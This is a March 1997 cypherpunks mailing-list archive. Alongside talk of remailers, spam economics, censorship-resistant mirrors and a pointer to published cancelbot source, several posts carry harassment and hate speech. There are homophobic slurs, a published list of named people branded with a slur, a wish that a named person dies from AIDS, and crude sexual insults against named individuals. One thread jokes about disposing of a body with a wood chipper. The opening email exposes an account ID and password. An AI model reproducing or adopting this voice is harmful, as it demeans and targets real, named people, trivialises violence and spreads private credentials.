exact URL where the IE logo/link is as well as the exact URL the ActiveX
control is located (if applicable), and we will check your site again. 
In the meantime, enjoy your Guest Membership, and we will notify you of
your membership status within 5 days after you apply for an upgrade.

You are using neither the IE logo or an ActiveX
control, but would like to upgrade your membership.
====================================================
To find out how to qualify for Level 1 and/or Level 2, please go to
http://www.microsoft.com/sbnmember/levels/levels.asp.  You will find
detailed instructions on qualifying your site for Levels 1 and 2.  When
you are ready to have your sites re-checked, please go back to
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membership' and follow the instructions.


Once again - welcome to Site Builder Network, and enjoy your Guest
Membershipbenefits.

The Microsoft Site Builder Network Team


========================================
ID: 643361
Password: writecode
========================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 26 Mar 1997 00:43:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199703260843.DAA04765@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's father, an idiot, stumbled across Timmy 
May's mother, an imbecile, when she had no clothes 
on. Nine months later she had a little moron.

         /\
      __/__\__
       | 00 |  Timmy May
      |:  \ :|
       | \_/|
        \__/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Mar 1997 04:56:19 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <3.0.32.19970325234406.00743cd4@netcom9.netcom.com>
Message-ID: <333910C8.483B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 08:55 PM 3/25/97 -0800, Timothy C. May wrote:
> >At 4:07 PM -0800 3/25/97, Bill Stewart wrote:
> >
> >>>--Tim May, who was comped into the conference and who only paid for one
> >>>night at $130, preferring to drive in from elswhere and use the saved money
> >>>for something permanent, a new Stihl chainsaw.

> >>Just in case the Assault Rifle and pistols aren't enough?  :-)

> Stihl chain saws are *the best*.

  Stihl chainsaws are the choice of serial killers from Texas to Xenix.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Wed, 26 Mar 1997 04:14:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Exterminate all Faggots?
In-Reply-To: <19970215062538.27135.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970326070926.17629A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 15 Feb 1997, Against Moderation wrote:

> Dave Hayes <dave@kachina.jetcafe.org> writes:
> 
> > Don't you get it? Real censorship issues do not arise until someone
> > rocks the boat. It takes someone to rock the boat to make you aware
> > of your own prejudices of that nature. If it takes attacking
> > homosexuals and pissing them off enough to make them show their
> > true colors and begin censorship...so be it. Why be civil when that
> > civility serves to hide that which is ultimately against free speech?
> > 
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
> views should be suppressed.  Not only do I believe he has every right
> to express them, I also believe (as I explained) that I think there is
> value in inducing censorship as he has, so as to get people's
> censorious tendencies out in the open where they can be fought.
> 
> However, Dr. Grubor is no advocate of free speech (though I'm sure he
> thinks he is).  If Dr. Grubor had his way, he would severely restrict
> the rights of gay people to express themselves on Usenet.  Advocates
> of free speech must truly tolerate all speech, even that which they
> find strongly unpleasant or disturbing.
> 

That is not true.  We just wish to exterminate all faggot control,
not the faggots themselves.  The faggots are well known ad the MOST
censorous group of all.

> My point was therefore that Dr. Grubor would do better to say
> "Exterminate all faggots" than "Exterminate all faggots in the name of
> free speech," and that those of us who truly support freedom of speech
> would do well to distance ourselves from Dr. Grubor, while still fully
> supporting his right to express his opinions.
> 

Those of us who REALLY want free speech will exterminate all
faggot control over any and all usenet administration.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Wed, 26 Mar 1997 04:47:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Confirmed Usenet Faggots 1.01
In-Reply-To: <Pine.LNX.3.95.970219070331.7373J-100000@dhp.com>
Message-ID: <Pine.LNX.3.95.970326074437.17629F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Feb 1997, aga wrote:

> On Tue, 18 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Date: Tue, 18 Feb 97 00:32:19 EST
> > From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> > Reply-To: freedom-knights@jetcafe.org
> > To: freedom-knights@jetcafe.org
> > Subject: Re: Is Thomas Lee Another Homosexual Net-Terrorist?
> > 
> > (Back from WashDC, not Phila)
> > 
> > "Dr. Jai Maharaj" <jai@aloha.com> writes:
> > 
> > > One Thomas Lee has been complaining that he has trouble
> > > with my posts in certain newsgroups (he will not say which
> > > posts in which newsgroups) and has caused one or more
> > > others to terrorize my ISP with false, unfounded
> > > complaints.  When I asked this Lee character directly
> > > about this, he answered:
> > >
> > > Thomas Lee <tfl@psp.co.uk> wrote at 04:49 pm on 2/16/97:
> > > >
> > > > In message <3.0.1.32.19970216062849.007a7860@aloha.com>,
> > > > "Dr. Jai Maharaj" <jai@aloha.com> writes:
> > > >> . . . I will attempt to help you understand if you will let me know >>
> > > as to which posts in which newsgroup you are referring to.
> > >
> > > > Sorry Jai - If you don't know which groups you are off topic in,
> > > > I'm sure not going to help you.
> > > > Please stop mailing me.
> > > >--
> > > > Thomas Lee
> > > > tfl@psp.co.uk
> > >
> > > Evidently, Lee cannot substantiate his claims -- a behavior
> > > typical of many other members of the homosexual Lynch Mob
> > > which attempts to terrorize the Net.
> > 
> > I hope he dies from AIDS like Jason Durbin and all other Usenet faggots.
> > 
> > ---
> > 
> > Dr.Dimitri Vulis KOTM
> > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> > 
> 
> Thus we see that what is needed is a permanent list of -confirmed- 
> Usenet Faggots to be kept up and updated periodically.  So when you
> update this list, please do it by single digit increments, so that the
> next list is "UseNet Faggots 1.02" etc.
> 
> ======================================
> Confirmed Usenet Faggots 1.01
> 
> Peter Berger
> Jason Durbin
> J.D Falk
> Tim Skirvin
> Hardrock Llewellyn
> 
> ======================================
> 
> note these are *confirmed* Usenet Faggots.
> please add any more confirmed faggots that you know about.
> 
> thank you,
> aga.admin
> UseNet Freedom Council
> ufc@pgh.org
> 
> post to:
> 

alt.censorship, 
alt.fan.karl-malden.nose, 
alt.god.grubor, 
alt.underground, 
soc.culture.usa, 
news.groups, 
alt.usenet.admin, 
news.admin.censorship, 
mail.cypherpunks, 
alt.webgod, 
alt.wired, 
soc.men, 
news.admin.misc
 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 26 Mar 1997 05:26:26 -0800 (PST)
To: aba@dcs.ex.ac.uk>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3.0.1.32.19970326080209.007aec20@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:27 AM 3/26/97 -0600, Toto wrote:

|I emailed John Gilmore, asking his advice, and he informed me that
|he has run into this problem before, and would be happy to provide the
|solution, on one condition.
|
|  He wants one million monkeys to send 5737 messages to the list, saying
|"John Gilmore is NOT a cocksucker."
|  Then, he will provide the solution, and not a moment before.

OK, John, count me in. #1!

"John Gilmore is NOT a cocksucker."

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

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WvZa/3OlSAd1o54/HbMuHnfmZBfsLiEiYIzGGDVJsqTzjiUdqvYJpH3Caq605qT5
5uN7A3fhACc=
=Rh5N
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Mar 1997 06:31:41 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Anonymous mail as spam?
In-Reply-To: <199703261353.HAA00659@smoke.suba.com>
Message-ID: <3339331C.4C2A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> > At 10:49 PM -0800 3/25/97, snow wrote:
> > >     What would I do if I were a spammer?
> > >     Submit the _same_ coin to every mailing I sent out. It will pass
> > >your coin filter, and so you see the message, but will fail when you try
> > >to spend it, or clear it. What do I care, you've already seen the message.
> > I should always try to clear your coin and if I like your message send you
> > a new coin.  If I can't clear your coin, then your message goes to
> > /dev/null.
> 
>         This assumes a system where coins can be cleared in real time, and
> that people read thier mail while online. At least the second is not an
> assumption that can be bourn out.
> 
> > I hope those public key operations are cheap. :-)
> 
>         Or at least less than 10 cents.

  I believe that the 'money-point' for UCE (unsolicited commercial
email) spammers is somewhere around .02% for most of their offerings.
  In other words, they need to send out 10,000 emails and get a response
just to break even.

  So, to make it unprofitable for them to spam god and everybody, it 
would only take a small surcharge. i.e. a penny or less.
  I don't actually object to the average Jane/Joe trying to use the
'new medium' to turn a buck, since I don't think that they should
be denied the same opportunity as the mega-buck corporations.
  However, I would like to see the cost of operations for these types
of activities be substantial enough that they will be forced to adopt
a method of operations that will ensure that there is least a chance
that I will be interested in what they have to offer.

  As things stand, I could buy some UCE/spamming software and send out
my proverbial "How To Make $$$ Licking Your Own Dick" missives and 
probably make some money, since it would not cost me much to send my
messages to a few million people.
  If it was actually costing me even a small sum to send each message,
then I would no longer be able to afford indiscriminate spamming, but
would still have the option to use hardwork and intelligence to narrow
the field of recipients to only include those who might be interested
in my offer, such as Bill Frantz, Jim Bell, and Bill Stewart.

  I truly believe that the InterNet should be left accessible to those
without a lot of resources/cash, and that any effort to control abuse
through cost should be so minimal as to not interfere with the ability
of those who are currency-challenged to participate in its benefits.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 26 Mar 1997 08:44:39 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Hash functions
In-Reply-To: <199703260843.DAA04765@dhp.com>
Message-ID: <Pine.A41.3.95.970326094043.82200A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 26 Mar 1997, lucifer Anonymous Remailer wrote:

Vulis you need treatment.

> Timmy May's father, an idiot, stumbled across Timmy 
> May's mother, an imbecile, when she had no clothes 
> on. Nine months later she had a little moron.
> 
>          /\
>       __/__\__
>        | 00 |  Timmy May
>       |:  \ :|
>        | \_/|
>         \__/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 07:05:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <3.0.1.32.19970326073914.007c8100@pop.gate.net>
Message-ID: <oTH74D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Joey Grasty <jgrasty@gate.net> writes:
> You can now download the latest version (version ALPHA1.3B) of the
> WinSock Remailer from my webpage at:
>
>   http://www.cyberpass.net/~winsock/
...
> The WinSock Remailer is the Windows version of a cypherpunk remailer.
> This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> A version for Windows NT will be released shortly.
...
> I need to know if you have success with any of the following untested
> configurations:
>
> a) Windows NT (now known not to work)

What exactly is the problem with NT (if any)?

You might want to take a look at the source code to the cancelbot I
published last year - it has some winsock calls that work fine under NT.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 07:05:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <3.0.1.32.19970326080209.007aec20@smtp1.abraxis.com>
Message-ID: <wXH74D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec <camcc@abraxis.com> writes:

> At 01:27 AM 3/26/97 -0600, Toto wrote:
>
> |I emailed John Gilmore, asking his advice, and he informed me that
> |he has run into this problem before, and would be happy to provide the
> |solution, on one condition.
> |
> |  He wants one million monkeys to send 5737 messages to the list, saying
> |"John Gilmore is NOT a cocksucker."
> |  Then, he will provide the solution, and not a moment before.
>
> OK, John, count me in. #1!
>
> "John Gilmore is NOT a cocksucker."

John Gilmore IS a cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 26 Mar 1997 08:58:39 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <wXH74D18w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970326095504.82200C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 26 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Alec <camcc@abraxis.com> writes:
> 
> > At 01:27 AM 3/26/97 -0600, Toto wrote:
> >
> > |I emailed John Gilmore, asking his advice, and he informed me that
> > |he has run into this problem before, and would be happy to provide the
> > |solution, on one condition.
> > |
> > |  He wants one million monkeys to send 5737 messages to the list, saying
> > |"John Gilmore is NOT a cocksucker."
> > |  Then, he will provide the solution, and not a moment before.
> >
> > OK, John, count me in. #1!
> >
> > "John Gilmore is NOT a cocksucker."
> 
> John Gilmore IS a cocksucker.
> 
>And you Vulis need a doctor.
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 08:32:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: spam
In-Reply-To: <3339331C.4C2A@sk.sympatico.ca>
Message-ID: <V5H74D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
> snow wrote:
> > > At 10:49 PM -0800 3/25/97, snow wrote:
> > > >     What would I do if I were a spammer?
> > > >     Submit the _same_ coin to every mailing I sent out. It will pass
> > > >your coin filter, and so you see the message, but will fail when you try
> > > >to spend it, or clear it. What do I care, you've already seen the messag
> > > I should always try to clear your coin and if I like your message send yo
> > > a new coin.  If I can't clear your coin, then your message goes to
> > > /dev/null.
> >
> >         This assumes a system where coins can be cleared in real time, and
> > that people read thier mail while online. At least the second is not an
> > assumption that can be bourn out.
> >
> > > I hope those public key operations are cheap. :-)
> >
> >         Or at least less than 10 cents.
>
>   I believe that the 'money-point' for UCE (unsolicited commercial
> email) spammers is somewhere around .02% for most of their offerings.
>   In other words, they need to send out 10,000 emails and get a response
> just to break even.
>
>   So, to make it unprofitable for them to spam god and everybody, it
> would only take a small surcharge. i.e. a penny or less.
>   I don't actually object to the average Jane/Joe trying to use the
> 'new medium' to turn a buck, since I don't think that they should
> be denied the same opportunity as the mega-buck corporations.
>   However, I would like to see the cost of operations for these types
> of activities be substantial enough that they will be forced to adopt
> a method of operations that will ensure that there is least a chance
> that I will be interested in what they have to offer.
>
>   As things stand, I could buy some UCE/spamming software and send out
> my proverbial "How To Make $$$ Licking Your Own Dick" missives and
> probably make some money, since it would not cost me much to send my
> messages to a few million people.

They don't know at the time of the mailing whether they'll make any
money off of it... Most of them seem like very stupid scams and probably
don't make any money. But they have enough of a hope to profit from
the mailing.

>   If it was actually costing me even a small sum to send each message,
> then I would no longer be able to afford indiscriminate spamming, but
> would still have the option to use hardwork and intelligence to narrow
> the field of recipients to only include those who might be interested
> in my offer, such as Bill Frantz, Jim Bell, and Bill Stewart.
>
>   I truly believe that the InterNet should be left accessible to those
> without a lot of resources/cash, and that any effort to control abuse
> through cost should be so minimal as to not interfere with the ability
> of those who are currency-challenged to participate in its benefits.

That's a very good point, Toto. As you may recall, my domain, dm.com, stands
for D&M Consulting. There's another internet domain, dm1.com, which stands for
'direct marketing'. They've been sending out a lot of UCE. A number of
net.cops have been complaining to us and to PSI, our upstream connection,
because they lack the mental capacity to distinguish between 'dm' and 'dm1'.
PSI used to be a good provider when we started doing business with them 6
years ago; now they have new people who are totally clueless and obnoxious. It
goes like "We've been receiving a lot of complaints about the traffic
originating at your site". "These are false complaints." "Well, we've still
been receiving a lot of complaints." And "If you can prove that this traffic
did not originate with you, then we won't hold you responsible." [I'm
cc'ing this to the Rev. Steve Winter who's had similar problems with the
new management at PSI. What a bunch of assholes! ]

But, Toto, sending UCE is not without a cost. If you had what most people
have these days - a $19.95/month SLIP or PPP account, and you sent out a
few thousand commercial solicitations to random people, your account would
be closed within hours by most providers. It would then take your a little
time and effort to open another account. The nan-am folks have been trying
to come up with a blacklist of "spammers" who go from one provider to
another - I don't know how successful they've been. A lot of people try
the internet in general, or a particular provider, judge them to be full of
shit, and close down the account. Perhaps a few would rather go with a bang.

Clearly, most folks who send out unsolicited e-mail are not masochists
seeking to have their plugs pulled. Most of them hope to sell something.
(Most of them are scammers, but that's besides the point.) I also saw at
least one religious mass e-mail (God loves you etc), where monetary profit
was probably not the motive for sending it. I think it's safe to assume that
most folks who send out unsolicited mass e-mail don't want the recipient to
be annoyed and to complain to the sender's ISP [This may not be true about
the users of anonymous remailers! ].

A while back we discussed on the cp mailing list a spec for a system that
provide junk e-mailers for free with a list of (hashed) addresses that
should be removed from any mass e-mail lists. Is anyone interested in
talking about the technical aspects of such a system?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 26 Mar 1997 10:14:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <oTH74D17w165w@bwalk.dm.com>
Message-ID: <199703261814.KAA14932@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vulis <dlv@bwalk.dm.com> writez:
> Joey Grasty <jgrasty@gate.net> writes:
> > You can now download the latest version (version ALPHA1.3B) of the
> > WinSock Remailer from my webpage at:
> >
> >   http://www.cyberpass.net/~winsock/
> ...
> > The WinSock Remailer is the Windows version of a cypherpunk remailer.
> > This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> > A version for Windows NT will be released shortly.
> ...
> > I need to know if you have success with any of the following untested
> > configurations:
> >
> > a) Windows NT (now known not to work)
> 
> What exactly is the problem with NT (if any)?
> 
> You might want to take a look at the source code to the cancelbot I
> published last year - it has some winsock calls that work fine under NT.

And where would one find a copy of that?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 26 Mar 1997 12:00:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <3.0.1.32.19970325160724.005df3c0@popd.ix.netcom.com>
Message-ID: <v03020918af5f1be4cb05@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:55 pm -0500 on 3/25/97, Timothy C. May wrote:

> Yes, inasmuch as I already have a Troy-Bilt chipper/shredder for disposal
> of the  byproducts of home defense.
>
> (Bought even before I saw "Fargo."]

Actually, what you *really* want is one of those 400-lb-flywheel jobs that
the tree surgeons use to mulch big tree limbs up with. I worked behind one
one summer in college. They are *indeed* impressive.

Don't forget to freeze everything before you put it in there, though. Works
cleaner and faster.

Actually, there was a case a few years where a guy did exactly that with
his wife, her deep-frozen and all. Only problem was the cops figured it out
after they found out he had rented one of these things shortly before she
disappeared. Though they didn't find anything of her after the critters in
woods behind his house had their "one *tasty* burger", John Law did break
the tree mulcher down and find DNA-confirmed microscopic bits of her in the
machine's um, interstices... Remember, return the tools clean folks, or you
don't get your deposit back.

Reminds me of the headless biker we talked about here a while ago.

Whoops! Gotta run. Time for lunch!

I *love* this list...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:33:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: improving public acceptance: "alt" mail domain
In-Reply-To: <Pine.LNX.3.94.970326095928.9176R-100000@neptune.chem.uga.edu>
Message-ID: <J1s74D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Andy Dustman <andy@CCMSD.chem.uga.edu> writes:

> FYI, anonymous.net is registered to John Gilmore.

SHIT!!! Someone, quick, complain to the InterNIC.

Who let the cocksucking NSA shill kidnap a domain name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:37:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Proposal:] Revolving Web Mirrors
In-Reply-To: <v03007808af5f0eb17780@[207.167.93.63]>
Message-ID: <J4s74D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 9:00 AM -0600 3/26/97, William H. Geiger III wrote:
>
> >>How does this actually provide any benefit to anyone?  Search engines ala
> >>Altavista etc. are entirely too unreliable and too slow to pick up on
> >>these magical mirrors, especially if they are as dynamic as they would
> >>appear to be.  And if there's a central "come here and get all the
> >>mirrors!" page, the Bad Guys can simply block that page too.
> ...
> >Does Altavista, ...ect accept notification of new URL's and if so what is
> >the average lag time between receiving notice and the URL making it into
> >the search engine?
> >
> >The problem that I am trying to address is that a determined State could
> >block all static mirrors over a period of time. By making these sites
> >dynamic it makes the job much more difficult for them.
>
> Why not have e-mail notification about mirrors?

To whom?

> (Like Raph's remailer list, where an e-mail version is sent out in tandem
> with the Web site update.)
>
> Sure, some Big Mommy filtering services will block the Web sites, but they
> probably are completely unequipped to try to interfere with e-mail.

It's a piece of cake to scan all incoming e-mail and to see who's
getting notifications of the new locations of the "banned pages".
It doesn't matter if the "authorities" are the local gubmint or
a corporation... If the incoming e-mail is encrypted then the
authorities can scrutinize all incoming encryped e-mail and ask
the recipients what's in it, why it's encrypted, and whether it's
solicited or not.  If the notofications of the "banned pages"
locations are unsolicited, they have good grounds for a complaint
to your ISP.  If they're solicited... the recipient's in trouble.

But if the notifications are a small part of traffic on a large-
volume mailing list, like this one, then the recipient can claim
that they've subscribed to the mailing list for the other content
(like the ASCII art :-).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:35:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <199703261814.KAA14932@mailmasher.com>
Message-ID: <wNT74D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> Dimitri Vulis <dlv@bwalk.dm.com> writez:
> > Joey Grasty <jgrasty@gate.net> writes:
> > > You can now download the latest version (version ALPHA1.3B) of the
> > > WinSock Remailer from my webpage at:
> > >
> > >   http://www.cyberpass.net/~winsock/
> > ...
> > > The WinSock Remailer is the Windows version of a cypherpunk remailer.
> > > This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> > > A version for Windows NT will be released shortly.
> > ...
> > > I need to know if you have success with any of the following untested
> > > configurations:
> > >
> > > a) Windows NT (now known not to work)
> >
> > What exactly is the problem with NT (if any)?
> >
> > You might want to take a look at the source code to the cancelbot I
> > published last year - it has some winsock calls that work fine under NT.
>
> And where would one find a copy of that?

For example, the Phrack archive.  I also posted it to the coderpunks
mailing list, which may be archived somewhere.  I was also told that
it's at the http://www.dhp.com/~kibo phreaking site.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:37:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous mail as spam?
In-Reply-To: <199703261646.RAA10051@digicash.com>
Message-ID: <osT74D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryce <bryce@digicash.com> writes:

>  "Toto <toto@sk.sympatico.ca>" typed:
> >
> >   I believe that the 'money-point' for UCE (unsolicited commercial
> > email) spammers is somewhere around .02% for most of their offerings.
> >   In other words, they need to send out 10,000 emails and get a response
> > just to break even.
>
> Actually I had a talk with a certain anti-spam ISP owner
> recently, and she asserted that the spammers don't make
> significant money from responses to their spams, but are
> instead making their money from stupid newbie companies who
> pay them for advertising service.

That's an interesting business model.
Alice doesn't know shit about the 'net.
In particular, Alice doesn't know that UCE annoys people and
doesn't generate income; and Alice doesn't have the technical
expertise to set up a SLIP/PPP account, not to mention mass-mailing.
Alice pays Bob to mass-mail her UCE from a throw-away account.
Alice probably pays Bob a lot.
Bob probably promises Alice a lot.
Should Alice be encouraged to sue Bob for fraudulent misrepresetation
of UCE? :-)
Would a journalist with any semblance of integrity try to inform
Alice that UCE doesn't pay, instead of calling for more censorship?

> It's an interesting proposition.  You would think, though, that
> the spamsters might as well just take the stupid newbie
> company's cash and then send a couple of token e-mail
> messages, if that's their business model.  :-)

*If* there was a free, easy way to remove addresses of people who
don't want junk e-mail from their mailing lists, most junk e-mailers
would probably try to use it. The (snail-mail) direct marketers
association has it; I put my name on their block list and I
get almost no junk snail-mail.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 13:53:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <v03020918af5f1be4cb05@[139.167.130.246]>
Message-ID: <94w74D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:

> At 11:55 pm -0500 on 3/25/97, Timothy C. May wrote:
>
> > Yes, inasmuch as I already have a Troy-Bilt chipper/shredder for disposal
> > of the  byproducts of home defense.
> >
> > (Bought even before I saw "Fargo."]
>
> Actually, what you *really* want is one of those 400-lb-flywheel jobs that
> the tree surgeons use to mulch big tree limbs up with. I worked behind one
> one summer in college. They are *indeed* impressive.
>
> Don't forget to freeze everything before you put it in there, though. Works
> cleaner and faster.
>
> Actually, there was a case a few years where a guy did exactly that with
> his wife, her deep-frozen and all. Only problem was the cops figured it out
> after they found out he had rented one of these things shortly before she
> disappeared. Though they didn't find anything of her after the critters in
> woods behind his house had their "one *tasty* burger", John Law did break
> the tree mulcher down and find DNA-confirmed microscopic bits of her in the
> machine's um, interstices... Remember, return the tools clean folks, or you
> don't get your deposit back.
>
> Reminds me of the headless biker we talked about here a while ago.

This reminds me of a story that happened 5 or 6 years ago to a sovok
who used to be a dentist back in Russia. He couldn't become a dentist
in the U.S., so he became a stockbroker out in the midwest. He lost
some money for another sovok. Sovok #2 asked sovok #1 nicely for a
reimbursement, but he refused. So, he killed him and ran his body
through one of those tree mulching things. They never found much of
sovok #1's body. However sovok #2 was so stupid that he stole #1's
Rolex watch and was seen wearing it, so he got arrested and even
convicted.

> Whoops! Gotta run. Time for lunch!
>
> I *love* this list...

Just stay away from sovoks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 26 Mar 1997 12:37:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: TEMPEST Doc
Message-ID: <1.5.4.32.19970326202926.008710a8@pop.pipeline.com>
